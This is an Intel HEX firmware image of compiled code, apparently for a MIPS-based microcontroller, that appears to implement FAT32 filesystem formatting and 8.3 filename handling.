:10b1700000a0023c0004422421108200000043a0f1
:10b180002000c28f010042242000c2af7800c38f8c
:10b190002000c28f21106200000042800500401094
:10b1a000000000002000c28f0b00422ce9ff401479
:10b1b00000000000782c400b000000002000c28f2f
:10b1c000010043242000c3af4700432400a0023cf9
:10b1d000000442242110620020000324000043a048
:10b1e0002000c28f0b00422cf4ff4014000000002e
:10b1f0008e2c400b000000002000c0af8a2c400bba
:10b20000000000002000c28f4700432400a0023c41
:10b210000004422421106200000040a02000c28fe0
:10b22000010042242000c2af2000c28f0b00422c3c
:10b23000f4ff40140000000000a0023c000442247f
:10b2400046000324520043a000a0023c0004422414
:10b2500041000324530043a000a0023c0004422408
:10b2600054000324540043a000a0023c00044224e4
:10b2700033000324550043a000a0023c00044224f4
:10b2800032000324560043a000a0023c00044224e4
:10b2900020000324570043a000a0023c00044224e5
:10b2a00020000324580043a000a0023c00044224d4
:10b2b00020000324590043a000a0023c00044224c3
:10b2c00055000324fe0143a000a0023c00044224d8
:10b2d000aaff0324ff0143a02400c28f0b00438870
:10b2e000080043982400c28f220042902120400091
:10b2f0002400c28f210045882130a0001e004698fe
:10b300002110c000180082001210000021186200f5
:10b310002400c28f0f0043a80c0043b82400c28f42
:10b320000700438821206000040044982110800019
:10b330002120400000a0023c0004452421300000f0
:10b340009ad8400f000000000600401400000000e2
:10b3500009000224348182a3ffff0224122f400b34
:10b3600000000000ec2c400b000000002400c48f03
:10b370000e25400f000000000600401000000000f5
:10b380001b000224348182a3ffff0224122f400bf2
:10b3900000000000ec2c400b000000001f00022405
:10b3a000348182a3ffff0224122f400b0000000013
:10b3b00000a0023c000444242128000000020624ce
:10b3c0007152410f000000002400c28f24004390fe
:10b3d000030002240e0162140000000000a0023ce1
:10b3e000f8ff0324000443a000a0023c0004422410
:10b3f000ffff0324010043a000a0023c00044224fc
:10b40000ffff0324020043a000a0023c00044224ea
:10b41000ffff0324030043a000a0023c00044224d9
:10b42000040040a000a0023c00044224050040a00b
:10b4300000a0023c00044224060040a000a0023c00
:10b44000000442240c000324070043a000a0023c97
:10b4500000044224ffff0324080043a000a0023c94
:10b4600000044224ffff0324090043a000a0023c83
:10b4700000044224ffff03240a0043a000a0023c72
:10b4800000044224ffff03240b0043a02400c28fca
:10b4900022004290ffff42241800c2a7432d400b18
:10b4a000000000002400c28f0b004388080043986e
:10b4b0001800c4972400c28f210045882130a000c5
:10b4c0001e0046982110c0001800820012200000c3
:10b4d000211064002120400000a0023c000445240b
:10b4e000213000009ad8400f0000000004004014f2
:10b4f00000000000ffff0224122f400b000000009c
:10b500001800c297ffff42241800c2a71800c39773
:10b51000ffff0234e3ff62140000000000a0023cc1
:10b5200000044424212800000c0006247152410f1d
:10b53000000000002400c28f0b0043882128600017
:10b54000080045982110a000010042242000c2af4d
:10b550007b2d400b000000002400c28f220042908f
:10b56000ffff42241800c2a7742d400b000000000a
:10b570001800c3972400c28f210044882130800026
:10b580001e0046982110c000180062002000c28fe3
:10b5900012180000211062002120400000a0023c8f
:10b5a00000044524213000009ad8400f000000001c
:10b5b0000400401400000000ffff0224122f400b83
:10b5c000000000001800c297ffff42241800c2a725
:10b5d0001800c397ffff0234e5ff6214000000006b
:10b5e0002000c28f010042242000c2af2400c28f7d
:10b5f0000b004388080043982400c28f2100448830
:10b60000212880001e0045982110a000211862000a
:10b610002000c28f2b104300cfff40140000000019
:10b62000010002242000c2af9f2d400b000000004b
:10b630002400c28f0f0043880c0043982000c28f63
:10b64000211062002120400000a0023c000445249b
:10b65000213000009ad8400f000000000400401480
:10b6600000000000ffff0224122f400b000000002a
:10b670002000c28f010042242000c2af2400c28fec
:10b6800023004290211840002000c28f2b1043005d
:10b69000e7ff4014000000007800c28f490040100e
:10b6a000000000002000c0afb92d400b00000000da
:10b6b0007800c38f2000c28f2110620000004280fa
:10b6c000ff00433000a0023c000444242000c28f4d
:10b6d00021108200000043a02000c28f01004224fc
:10b6e0002000c2af7800c38f2000c28f21106200fb
:10b6f0000000428005004010000000002000c28fc2
:10b700000b00422ceaff401400000000cd2d400b3e
:10b71000000000002000c28f010043242000c3afbe
:10b7200000a0033c000463242110430020000324f4
:10b73000000043a02000c28f0b00422cf5ff4014f4
:10b740000000000000a0023c000442240800032482
:10b750000b0043a000a0023c00044224110003247b
:10b76000110043a000a0023c000442241100032465
:10b77000130043a000a0023c000442241100032453
:10b78000170043a02400c28f0f00438821306000bf
:10b790000c0046982110c0002120400000a0023c6f
:10b7a00000044524213000009ad8400f000000001a
:10b7b0001400401400000000ffff0224122f400b71
:10b7c000000000002400c28f0f0043882120600089
:10b7d0000c004498211080002120400000a0023c71
:10b7e00000044524213000009ad8400f00000000da
:10b7f0000400401400000000ffff0224122f400b41
:10b800000000000021100000122f400b000000007b
:10b8100000a0023cf8ff0324000443a000a0023c67
:10b8200000044224ffff0324010043a000a0023cc7
:10b8300000044224ffff0324020043a02400c28f1f
:10b84000240043900200022405006214000000005e
:10b8500000a0023c00044224ffff0324030043a095
:10b860002400c28f22004290ffff42241800c2a78a
:10b87000382e400b000000002400c28f0b004388cc
:10b88000080043981800c4972400c28f21004588ff
:10b890002130a0001e0046982110c0001800820030
:10b8a00012200000211064002120400000a0023c72
:10b8b00000044524213000009ad8400f0000000009
:10b8c0000400401400000000ffff0224122f400b70
:10b8d000000000001800c297ffff42241800c2a712
:10b8e0001800c397ffff0234e3ff6214000000005a
:10b8f00000a0023c00044424212800000400062487
:10b900007152410f000000002400c28f0b004388d9
:10b9100021286000080045982110a0000100422461
:10b920002000c2af702e400b000000002400c28f28
:10b9300022004290ffff42241800c2a7692e400b4c
:10b94000000000001800c3972400c28f2100448823
:10b95000213080001e0046982110c00018006200af
:10b960002000c28f12180000211062002120400028
:10b9700000a0023c00044524213000009ad8400f6a
:10b98000000000000400401400000000ffff02243b
:10b99000122f400b000000001800c297ffff422446
:10b9a0001800c2a71800c397ffff0234e5ff621416
:10b9b000000000002000c28f010042242000c2af1e
:10b9c0002400c28f0b004388080043982400c28fd4
:10b9d00021004488212880001e0045982110a000e5
:10b9e000211862002000c28f2b104300cfff4014ab
:10b9f000000000002400c28f000203241d0043a8a1
:10ba00001a0043b82400c28f1400439015004290de
:10ba10000012020025104300ffff423040110200d7
:10ba2000211840002400c28f1d004488213080006e
:10ba30001a0046982110c00021106200ffff432425
:10ba40002400c28f1d004488212880001a004598d8
:10ba50002110a0001b006200f40140001010000043
:10ba6000123000003800c6af010002242000c2af2f
:10ba7000b12e400b000000002400c28f0f0043884d
:10ba80000c0043982000c28f21106200212040004a
:10ba900000a0023c00044524213000009ad8400f49
:10baa000000000000400401400000000ffff02241a
:10bab000122f400b000000002000c28f0100422422
:10bac0002000c2af2000c38f3800c28f2b1062004d
:10bad000e9ff4014000000007800c28f49004010c8
:10bae000000000002000c0afc92e400b0000000085
:10baf0007800c38f2000c28f2110620000004280b6
:10bb0000ff00433000a0023c000444242000c28f08
:10bb100021108200000043a02000c28f01004224b7
:10bb20002000c2af7800c38f2000c28f21106200b6
:10bb30000000428005004010000000002000c28f7d
:10bb40000b00422ceaff401400000000dd2e400be9
:10bb5000000000002000c28f010043242000c3af7a
:10bb600000a0033c000463242110430020000324b0
:10bb7000000043a02000c28f0b00422cf5ff4014b0
:10bb80000000000000a0023c00044224080003243e
:10bb90000b0043a000a0023c000442241100032437
:10bba000110043a000a0023c000442241100032421
:10bbb000130043a000a0023c00044224110003240f
:10bbc000170043a02400c28f0f004388212060008b
:10bbd0000c004498211080002120400000a0023c6d
:10bbe00000044524213000009ad8400f00000000d6
:10bbf0001400401400000000ffff0224122f400b2d
:10bc0000000000002400c28f0f004388212860003c
:10bc10000c0045982110a0002120400000a0023c0b
:10bc200000044524213000009ad8400f0000000095
:10bc30000400401400000000ffff0224122f400bfc
:10bc4000000000002110000021e8c0036c00bf8f3d
:10bc50006800be8f7000bd270800e00300000000f0
:10bc6000d8ffbd272400bfaf2000beaf21f0a00346
:10bc70002800c4af2c00c5af2800c28f0000428c42
:10bc80001400c2af2800c28f4000428c1800c2af1f
:10bc90002c00c28f00004294211840001400c28f73
:10bca0001d004488212880001a0045982110a0001a
:10bcb000421102001b006200f4014000101000005d
:10bcc000121000001100c2a31400c28f2400429081
:10bcd000010043281e0060140000000003004328f8
:10bce0000d0060140000000003000324180043143a
:10bcf000000000001400c28f230042901100c39383
:10bd00001b006200f4014000101000001100c2a3eb
:10bd1000542f400b000000002481828f1800c38f35
:10bd20000a006210000000001400c28f230042903d
:10bd30001100c3931b006200f401400010100000ca
:10bd40001100c2a3532f400b0000000000000000b0
:10bd50001400c48f1800c58f6d3f400f0000000015
:10bd60001c00c2af1100c3931c00c28f21186200d7
:10bd70001400c28f030044882128800000004598e9
:10bd80002110a00021206000212840002130000067
:10bd90009ad8400f0000000004004014000000008a
:10bda0001000c0a36d2f400b000000000100022412
:10bdb0001000c2a31000c29321e8c0032400bf8f6b
:10bdc0002000be8f2800bd270800e003000000000f
:10bdd000d8ffbd272400bfaf2000beaf21f0a003d5
:10bde0002800c4af2c00c5af1800c0af2c00c28f14
:10bdf00024004290010003240c00431000000000c6
:10be0000030003240f00431400000000ff0f023c56
:10be1000ffff42341400c2afff0f023cf8ff423470
:10be20001000c2af962f400b00000000ffff02344d
:10be30001400c2aff80f02241000c2af962f400bbf
:10be400000000000ffff02341400c2aff8ff02340c
:10be50001000c2af000000002800c28f0500401093
:10be6000000000002800c38f0100022405006214b6
:10be700000000000020002241800c2afd32f400bc4
:10be800000000000d02f400b000000002c00c48fe9
:10be90002800c58f8f49400f000000001c00c2af72
:10bea0001c00c38f1400c28f050062140000000044
:10beb000010002241800c2afd02f400b0000000088
:10bec0001c00c28f05004010000000001c00c38f42
:10bed0000100022405006214000000000200022498
:10bee0001800c2afd02f400b000000001c00c38f11
:10bef0001000c28f2b1062000300401400000000ed
:10bf0000020002241800c2af2c00c48f2800c58f85
:10bf10002130000021380000c64a400f0000000018
:10bf2000211840001400c28f0300621400000000ba
:10bf3000010002241800c2af1c00c28f2800c2af4b
:10bf40001800c28fd1ff4010000000002c00c48fe9
:10bf5000212800002130000001000724c64a400fbc
:10bf6000000000001800c38f0200022404006214c5
:10bf70000000000001000224e12f400b000000003f
:10bf80002110000021e8c0032400bf8f2000be8fd5
:10bf90002800bd270800e00300000000c8ffbd27ff
:10bfa0003400bfaf3000beaf21f0a0033800c4aff3
:10bfb0003c00c5af2110c0004000c2a33800c28fb2
:10bfc0000000428c2000c2af3800c28f3c00428c7f
:10bfd0002400c2af3800c28f4000428c1800c2afac
:10bfe0002000c28f1d004388212060001a00449861
:10bff00021108000421102002800c2a33c00c28f21
:10c0000000004294211840002800c2931a006200e8
:10c01000f401400010100000121000001c00c2a328
:10c020002000c28f24004290211840000300022407
:10c030000d006214000000002000c28f2300429017
:10c040001c00c3931b006200f401400010100000ac
:10c050001c00c2a3ff0f023cf8ff42341400c2af21
:10c060002730400b000000002400c28f0800401061
:10c07000000000002000c28f230042901c00c393e8
:10c080001b006200f4014000101000001c00c2a35d
:10c09000f8ff02341400c2af000000004000c29359
:10c0a00006004014000000003c00c28f00004294d3
:10c0b0000f004230a4004014000000001c00c29396
:10c0c00008004014000000003c00c28f00004394b0
:10c0d0002800c293ffff42302b1062000400401082
:10c0e000000000004000c29331004010000000003a
:10c0f0002400c28f04004014000000001800c0afec
:10c100006c30400b000000004000c2931200401051
:10c11000000000003c00c28f000043942800c2933e
:10c12000ffff44302000c28f23004290180082009d
:10c1300012280000ffffa2301b006200f401400043
:10c140001010000012180000ffff62301d00c2a393
:10c150006930400b00000000010002241d00c2a352
:10c160006930400b000000002000c48f1800c58f0c
:10c170008f49400f000000001800c2af1800c38fa5
:10c180001400c28f2b106200030040140000000056
:10c190006c30400b000000001d00c293ffff4224e2
:10c1a0001d00c2a31d00c293efff40140000000059
:10c1b0001800c38f1400c28f2b1062005b00401068
:10c1c000000000003800c28f1800c38f400043ac4d
:10c1d0002000c48f1800c58f6d3f400f0000000085
:10c1e0002c00c2af2481828f1800c38f1400621408
:10c1f000000000001c00c3932c00c28f21186200b5
:10c200002000c28f13004488212880001000459828
:10c210002110a0002b106200090040140000000053
:10c220002000c28f24004390030002240400621007
:10c23000000000001000c0afd030400b0000000034
:10c240004480829308004010000000003241400ffb
:10c250000000000004004010000000002110000059
:10c26000e030400b00000000408080af468080a39b
:10c270001c00c3932c00c28f211862002000c28fc3
:10c280000300448821288000000045982110a00068
:10c290002120600021284000e5d5400f000000006b
:10c2a0002118400001000224040062100000000078
:10c2b0001000c0afc730400b000000004000c29328
:10c2c00010004010000000002000c28f03004388cf
:10c2d000000043983c00c28f00004294212040009f
:10c2e0002800c2931a008200f401400010100000e0
:10c2f00040110200211062001000c2afc730400b95
:10c30000000000002000c28f03004388212060004d
:10c3100000004498211080001000c2afffff0224eb
:10c32000088082afd030400b0000000001000224e2
:10c33000458082a31000c0afdf30400b000000003a
:10c34000df30400b000000002000c28f0300438854
:10c35000000043983c00c28f00004294212040001e
:10c360002800c2931a008200f4014000101000005f
:10c3700040110200211062001000c2af1000c28ff5
:10c3800021e8c0033400bf8f3000be8f3800bd27c6
:10c390000800e00300000000a0ffbd275c00bfaf65
:10c3a0005800beaf21f0a0036000c4af6400c5af69
:10c3b0002110c0006c00c7af6800c2a31000c0af5e
:10c3c0006000c28f3000428c2800c2af01000224fe
:10c3d0001800c2af348180a36400c28f000040a463
:10c3e0006000c48f6400c58fc232400f000000009f
:10c3f00081014014000000006000c28f34004294ac
:10c400006a014010000000006000c48fee33400f4e
:10c410000000000008004014000000001100022489
:10c42000348182a3110002241000c2af1000c28f19
:10c430008432400b000000006000c28f20004224c4
:10c440002400c2af1c00c0a30b0002242000c2a322
:10c450002d31400b000000001c00c293010042304f
:10c460000400401000000000800002241e31400b38
:10c4700000000000211000001c00c39342180300bc
:10c48000ff00633021104300ff0043302400c28fbf
:10c49000010044242400c4af00004280ff00423069
:10c4a000211062001c00c2a32000c283ffff4224af
:10c4b0002000c2a32000c283e7ff40140000000058
:10c4c0006000c28f34004294108182a7108184974b
:10c4d000c44e023c4fec42341900820010100000a0
:10c4e000822802002118a0008010030021184000bb
:10c4f0008010030023104300211045002310820008
:10c50000ffff42301e00c2a31e00c2932c00c2a334
:10c5100010818397c44e023c4fec423419006200f4
:10c520001010000082100200ffff42301f00c2a363
:10c530001e00c29305004014000000001081829785
:10c540000d00422c04004010000000001f00c293a8
:10c55000010042241f00c2a31f00c29340004234c6
:10c560001d00c2a31e00c293330040100000000053
:10c570002000c0a37231400b000000002000c283e5
:10c58000010043242000c3a3ff00423010818397a1
:10c59000212060001e00c39323188300401803006d
:10c5a0002800c48f2118830000006394401002000b
:10c5b0001000c42721108200240043a41e00c2934f
:10c5c000ffff42241e00c2a31e00c293ebff4014d3
:10c5d000000000002000c283010043242000c3a308
:10c5e000ff004230401002001000c32721106200fb
:10c5f000240040a48831400b000000002000c293ba
:10c60000401002001000c32721106200ffff032426
:10c61000240043a42000c283010042242000c2a3be
:10c620002000c2830d004228f4ff401400000000e7
:10c63000a731400b000000000d0002242000c2a31f
:10c64000a431400b000000002000c2930d00032421
:10c650002310620010818397212060002000c39383
:10c6600023188300401803002800c48f211883007a
:10c6700000006394401002001000c42721108200c3
:10c68000240043a42000c283ffff42242000c2a351
:10c690002000c283ecff401c000000003400c227d1
:10c6a000180042241400c2af6832400b00000000a2
:10c6b0006000c28f3c00438c6000c28f400043acde
:10c6c0006000c48f6400c58f01000624e72f400f6f
:10c6d000000000003000c2af3000c28f04004014e0
:10c6e000000000001b0002248432400b0000000008
:10c6f0001d00c293ffff43241d00c3a33000c38f5e
:10c70000000062a01400c28ffeff43241400c3afd8
:10c71000000043943000c28f1e0043a41400c28f57
:10c72000feff43241400c3af000043943000c28fc7
:10c730001c0043a41400c28ffeff43241400c3afa7
:10c74000000043943000c28f180043a41400c28f2d
:10c75000feff43241400c3af000043943000c28f97
:10c76000160043a41400c28ffeff43241400c3af7d
:10c77000000043943000c28f140043a41400c28f01
:10c78000feff43241400c3af000043943000c28f67
:10c79000120043a41400c28ffeff43241400c3af51
:10c7a000000043943000c28f100043a41400c28fd5
:10c7b000feff43241400c3af000043943000c28f37
:10c7c0000e0043a41400c28ffeff43241400c3af25
:10c7d000000042945000c2a75100c3933000c28fa2
:10c7e0000a0043a05000c3933000c28f090043a049
:10c7f0001400c28ffeff43241400c3af0000429414
:10c800005000c2a75100c3933000c28f080043a05c
:10c810005000c3933000c28f070043a01400c28fa2
:10c82000feff43241400c3af000042945000c2a78f
:10c830005100c3933000c28f060043a05000c39341
:10c840003000c28f050043a01400c28ffeff4324b6
:10c850001400c3af000042945000c2a75100c3931c
:10c860003000c28f040043a05000c3933000c28f39
:10c87000030043a01400c28ffeff43241400c3af83
:10c88000000042945000c2a75100c3933000c28ff1
:10c89000020043a05000c3933000c28f010043a0a8
:10c8a0003000c28f0f0003240b0043a03000c28f62
:10c8b0000c0040a03000c28f1c00c3930d0043a0a9
:10c8c0003000c28f1a0040a46000c48f6400c58f7e
:10c8d000182f400f00000000211840000100022422
:10c8e0000300621000000000090002241000c2af23
:10c8f0001d00c393bfff0224241062001d00c2a3c9
:10c900006400c28f0000429401004224ffff4330c4
:10c910006400c28f000043a41f00c293ffff4224a3
:10c920001f00c2a31800c28f1d00401000000000ad
:10c930002c00c2930f004010000000006000c28f66
:10c940003000438c10818297212040002c00c2933c
:10c9500023208200ff7f023cffff4234211082002f
:10c9600040100200211062001400c2af6732400b79
:10c97000000000006000c28f3000438c108182975d
:10c9800021204000ff7f023cf2ff42342110820050
:10c9900040100200211062001400c2af1800c0afa6
:10c9a0001f00c29342ff4014000000006800c293c1
:10c9b0006000c48f6400c58f213040007f33400f7a
:10c9c000000000001000c2af1000c28f0c00401425
:10c9d000000000006c00c28f090040100000000041
:10c9e0006000c48f8a32400f000000001000c2af08
:10c9f0008032400b00000000140002241000c2af7f
:10ca00001000c28fff004230348182a31000c28f19
:10ca100021e8c0035c00bf8f5800be8f6000bd27b7
:10ca20000800e00300000000d0ffbd272c00bfafce
:10ca30002800beaf21f0a0033000c4af3000c28f89
:10ca4000360042942000c2a71c00c2273000c48fc9
:10ca500021284000633e400f000000001000c2afdc
:10ca60001000c28f21004014000000002000c227e7
:10ca70003000c48f212840009139400f0000000091
:10ca80001400c2af1c00c28fffff43301400c28fde
:10ca90001a0043a41c00c38fff0f023c2410620045
:10caa0001800c2af1800c28f021402001800c2aff3
:10cab0001800c28fffff43301400c28f140043a43c
:10cac0002000c2273000c48f21284000182f400fbb
:10cad0000000000021184000010002240300621041
:10cae00000000000090002241000c2af1000c28f35
:10caf00021e8c0032c00bf8f2800be8f3000bd2767
:10cb00000800e00300000000d8ffbd272400bfafed
:10cb10002000beaf21f0a0032800c4af2c00c5af99
:10cb2000010002241000c2a31300c0a32c00c28f76
:10cb3000000042941400c2a72800c28f3c00438c1e
:10cb40002800c28f400043ac2800c48f2c00c58f42
:10cb500001000624e72f400f000000001800c2afbc
:10cb60001800c28f9b004010000000002800c28ff8
:10cb7000340042942a004010000000002800c28fb8
:10cb800034004294108182a710818497c44e023ce5
:10cb90004fec42341900820010100000822802007d
:10cba0002118a0008010030021184000801003000d
:10cbb000231043002110450023108200ffff423064
:10cbc0001300c2a310818397c44e023c4fec423441
:10cbd000190062001010000082100200ffff4230b6
:10cbe0001200c2a31300c29305004014000000000d
:10cbf000108182970d00422c0400401000000000bc
:10cc00001200c293010042241200c2a31200c29378
:10cc1000010042241200c2a37133400b0000000047
:10cc2000010002241200c2a37133400b0000000077
:10cc30001100c0a32c00c28f000042941400c2a7b0
:10cc40002800c48f2c00c58f21300000e72f400f33
:10cc5000000000001800c2af1800c28f040040108e
:10cc6000000000001800c28f000042801300c2a321
:10cc70002c00c28f0000429401004224ffff433089
:10cc80002c00c28f000043a41800c28f1000401077
:10cc9000000000001300c393e500022404006210aa
:10cca000000000001300c2930900401400000000bf
:10ccb0001100c293010042241100c2a31100c393ca
:10ccc0001200c2932b106200ddff40140000000030
:10ccd0001800c28f36004014000000002800c28fe8
:10cce0004000428c1c00c2af2481828f1c00c38f85
:10ccf0001d006214000000002800c28f0000428c5a
:10cd0000240043900300022405006210000000008c
:10cd1000020002241000c2a37133400b0000000087
:10cd20002800c28f1c00c38f080043ac2800c48faa
:10cd3000010005242f37400f00000000211840009b
:10cd40001500022405006214000000000200022405
:10cd50001000c2a37133400b000000001000c0a3fc
:10cd60007133400b000000002800c28f1c00c38fed
:10cd7000080043ac2800c48f010005242f37400f62
:10cd80000000000021184000150002240500621474
:10cd900000000000020002241000c2a37133400b07
:10cda000000000001000c0a37133400b0000000021
:10cdb0001100c3931200c29302006214000000002d
:10cdc0001000c0a31000c3930100022498ff62105a
:10cdd000000000002c00c28f1400c397000043a481
:10cde0001000c29321e8c0032400bf8f2000be8f33
:10cdf0002800bd270800e00300000000e0ffbd2779
:10ce00001c00bfaf1800beaf21f0a0032000c4afcc
:10ce10002400c5af2110c0002800c2a31000c0a389
:10ce20002000c28f3c00438c2000c28f400043ace6
:10ce30002000c48f2400c58f01000624e72f400f77
:10ce4000000000001400c2af1400c28f04004014a0
:10ce5000000000001b000224e833400b000000002b
:10ce60001400c38f2000c28f2000422421206000c4
:10ce7000212840000b0006245855410f00000000f7
:10ce80002800c39312000224060062140000000070
:10ce90001400c28f100003240b0043a0ac33400bde
:10cea000000000001400c28f200003240b0043a0e8
:10ceb0001400c28f0c0040a01400c28f140040a4c4
:10cec0001400c28f1a0040a41400c28f1c0040ac92
:10ced0006d36400f00000000128183931400c28f52
:10cee0000d0043a0288183971400c28f0e0043a435
:10cef000368183971400c28f100043a4308183973a
:10cf00001400c28f120043a42e8183971400c28f95
:10cf1000160043a4328183971400c28f180043a4e3
:10cf20001400c28f1c00438c2000c28f140043ac3d
:10cf30001400c28f0e0043942000c28f1c0043a433
:10cf40001400c28f100043942000c28f1e0043a41f
:10cf50001400c28f0b004290211840002000c28fa5
:10cf60003a0043a42400c28f000043942000c28fe3
:10cf7000360043a42000c48f2400c58f182f400f13
:10cf8000000000002118400001000224030062108c
:10cf900000000000090002241000c2a31000c29388
:10cfa00021e8c0031c00bf8f1800be8f2000bd27e2
:10cfb0000800e0030000000040ffbd27bc00bfaf39
:10cfc000b800beaf21f0a003c000c4af1c00c0afca
:10cfd0002800c22721204000c000c58f403e400fde
:10cfe000000000002800c227200042242000c2af19
:10cff0005800c28f2400c2afc000c28f34004294d8
:10d00000108182a71600c0a70c34400b000000005e
:10d010001600c2872000c38f211062002000032465
:10d02000000043a01600c287010042241600c2a7d8
:10d030001600c2870b004228f5ff401400000000d4
:10d0400010818297ffff4224ffff42301400c2a7e5
:10d050002334400b000000001400c287401002007f
:10d060002400c38f21106200000043942e0002248c
:10d0700003006214000000002634400b0000000092
:10d080001400c287ffff42241400c2a71400c28705
:10d09000f1ff401c000000001400c2970100422470
:10d0a000ffff42301600c2a71a00c0a31400c287b7
:10d0b0006900401000000000080002241800c2a708
:10d0c0008834400b000000001600c28740100200a8
:10d0d0002400c38f21106200000042941b00c2a3f1
:10d0e0001b00c2936100422c11004014000000009c
:10d0f0001b00c2937b00422c0d004010000000007a
:10d100001800c287010043241800c3a72000c38f62
:10d11000211062001b00c393e0ff6324ff00633013
:10d12000201c037c000043a08234400b0000000060
:10d130001b00c393200002240300621400000000bf
:10d140008534400b000000001b00c3932b00022419
:10d150001d006210000000001b00c3932c0002247d
:10d1600019006210000000001b00c3933b00022462
:10d1700015006210000000001b00c3933d00022454
:10d1800011006210000000001b00c3935b0002242a
:10d190000d006210000000001b00c3935d0002241c
:10d1a00009006210000000001600c2874010020053
:10d1b0002400c38f21106200000042940001422c21
:10d1c0000a004014000000001800c2870100432438
:10d1d0001800c3a72000c38f211062005f00032442
:10d1e000000043a08234400b000000001800c287fa
:10d1f000010043241800c3a72000c38f2110620040
:10d200001b00c383000043a01a00c2930100422404
:10d210001a00c2a31600c287010042241600c2a74a
:10d220001600c387108182972a1062000500401003
:10d23000000000001a00c2930300422ca2ff401419
:10d24000000000001400c2971800c2a71a00c0a373
:10d250009834400b00000000108182971800c2a78c
:10d260001600c0a7eb34400b000000001600c28778
:10d27000401002002400c38f21106200000042947d
:10d280001b00c2a31b00c2936100422c0f0040147c
:10d29000000000001b00c2937b00422c0b004010da
:10d2a000000000001a00c2932000c38f211062000a
:10d2b0001b00c393e0ff6324ff006330201c037c4a
:10d2c000000043a0e534400b000000001b00c393a6
:10d2d000200002240300621400000000e834400b28
:10d2e000000000001b00c3932b0002241d006210ed
:10d2f000000000001b00c3932c00022419006210e0
:10d30000000000001b00c3933b00022415006210c4
:10d31000000000001b00c3933d00022411006210b6
:10d32000000000001b00c3935b0002240d0062108c
:10d33000000000001b00c3935d000224090062107e
:10d34000000000001600c287401002002400c38fb6
:10d3500021106200000042940001422c0800401499
:10d36000000000001a00c2932000c38f2110620049
:10d370005f000324000043a0e534400b00000000e0
:10d380001a00c2932000c38f211062001b00c383c8
:10d39000000043a01a00c293010042241a00c2a355
:10d3a0001600c287010042241600c2a71600c387d8
:10d3b0001800c2872a10620005004010000000001b
:10d3c0001a00c2930600422ca8ff4014000000007f
:10d3d0001a00c2932000c38f211062007e00032434
:10d3e000000043a01a00c293010042242000c38f12
:10d3f0002110620031000324000043a02000022419
:10d400006200c2a75c00c0a7010002241000c2afe6
:10d410006036400b000000002c00c0af3000c0aff1
:10d420005e00c0a70c80828f3c00428c6400c2afbb
:10d430000c80828f4000428c6800c2af6c00c32712
:10d440002800c2272120600021284000403e400fd4
:10d45000000000006c00c3272800c22721206000c4
:10d46000212840000100062421380000db1b400f6a
:10d470000000000026014014000000001000c38fcf
:10d48000cccc023ccdcc423419006200101000001c
:10d49000c21002004010020080200200211044004f
:10d4a00023106200ff00423030004224ff0042306f
:10d4b0002014027cb700c2a31000c38feb51023cc2
:10d4c0001f85423419006200101000004211020052
:10d4d0008010020080200200211044008020020001
:10d4e0002110440023106200cccc033ccdcc63342b
:10d4f0001900430010100000c2100200ff0042306b
:10d5000030004224ff0042302014027cb600c2a347
:10d510001000c58f6210023cd34d42341900a200a6
:10d520001010000082190200212060008010040009
:10d53000212040004011040023104400211043002a
:10d54000c01002002318a200eb51023c1f85423498
:10d55000190062001010000042110200ff0042306a
:10d5600030004224ff0042302014027cb500c2a3e8
:10d570001000c58fb7d1023c591742341900a200e0
:10d5800010100000421b02002120600080100400e7
:10d5900021204000401104002310440021104300ca
:10d5a0008018020021104300001102002318a2007d
:10d5b0006210023cd34d423419006200101000008a
:10d5c00082110200ff00423030004224ff0042304e
:10d5d0002014027cb400c2a31000c58f42190500bc
:10d5e0007c0a023cc55a4234190062001010000047
:10d5f000c219020021206000801004002120400098
:10d600004011040023104400211043008018020040
:10d610002110430080180200211043004011020035
:10d620002318a200b7d1023c5917423419006200f6
:10d630001010000042130200ff004230300042246c
:10d64000ff0042302014027cb300c2a31000c58f3b
:10d650001b43023c83de42341900a200101000007c
:10d66000821c020021106000c01002004021020054
:10d670002320820080110400231044002110430065
:10d68000801102002318a200421903007c0a023c08
:10d69000c55a42341900620010100000c211020085
:10d6a000ff00423030004224ff0042302014027c50
:10d6b000b200c2a31000c58f5f6b023c6bca42343c
:10d6c0001900a20010100000821d0200211060004d
:10d6d000c0100200402102002320820080110400bb
:10d6e0002310440021104300801802002110430041
:10d6f000c01102002318a2001b43023c83de423407
:10d70000190062001010000082140200ff00423075
:10d7100030004224ff0042302014027cb100c2a33a
:10d72000b100c38330000224060062100000000034
:10d730001b00c0a37e000224b000c2a31736400b1a
:10d7400000000000060002241b00c2a31436400b98
:10d75000000000001b00c2931000c32721106200cc
:10d76000a000438030000224360062140000000054
:10d770001b00c293ffff42241000c3272110620048
:10d78000a0004380300002242e006214000000003c
:10d790001b00c2931000c327211062007e000324e7
:10d7a000a00043a05400c28f2400401400000000d9
:10d7b0001b00c29301004230ff0042301f004010a6
:10d7c000000000001b00c293ffff4230ffff422415
:10d7d000ffff42301800c2a70436400b00000000d3
:10d7e0001800c2871800c387010063241000c427f3
:10d7f00021188300a00063801000c427211082003c
:10d80000a00043a01800c287010042241800c2a74c
:10d810001800c28707004228f1ff401400000000f2
:10d8200020000224b700c2a31b00c293ffff4224c2
:10d830001b00c2a31736400b000000001736400b38
:10d84000000000001b00c293ffff42241b00c2a384
:10d850001b00c293bfff4014000000001b00c393d5
:10d860001a00c2932b106200050040140000000053
:10d870001a00c2931600c2a73136400b0000000008
:10d880001b00c2931600c2a73136400b00000000f7
:10d890001600c287010043241600c3a721204000c0
:10d8a0001b00c293010043241b00c3a31000c32725
:10d8b00021106200a00043801000c2272110440004
:10d8c000380043a01b00c2930800422cf0ff401414
:10d8d000000000003e36400b000000001600c2872a
:10d8e000010043241600c3a71000c32721106200c3
:10d8f00020000324380043a01600c28708004228f5
:10d90000f6ff4014000000005d36400b00000000f0
:10d91000c000c28f200042242000c2af1b00c0a361
:10d920005536400b000000001b00c2932000c38f3f
:10d93000211062001b00c3931000c427211883002c
:10d9400038006380000043a01b00c2930100422402
:10d950001b00c2a31b00c2930b00422cf2ff401419
:10d9600000000000010002241c00c2af6636400b1c
:10d97000000000001000c28f010042241000c2af5e
:10d980001000c38f9800023c809642342b10620036
:10d99000a1fe4014000000001c00c28f21e8c0035b
:10d9a000bc00bf8fb800be8fc000bd270800e003d9
:10d9b00000000000d8ffbd272400beaf21f0a00367
:10d9c00080bf023c2002428c0400c2af80bf023cf8
:10d9d0002002428c0800c2af0400c38f0800c28f2f
:10d9e000f7ff62140000000080bf023c3002428c4e
:10d9f0000c00c2af80bf023c3002428c1000c2afac
:10da00000c00c38f1000c28ff7ff621400000000eb
:10da10000c00c28f021602001400c2a70c00c28fb5
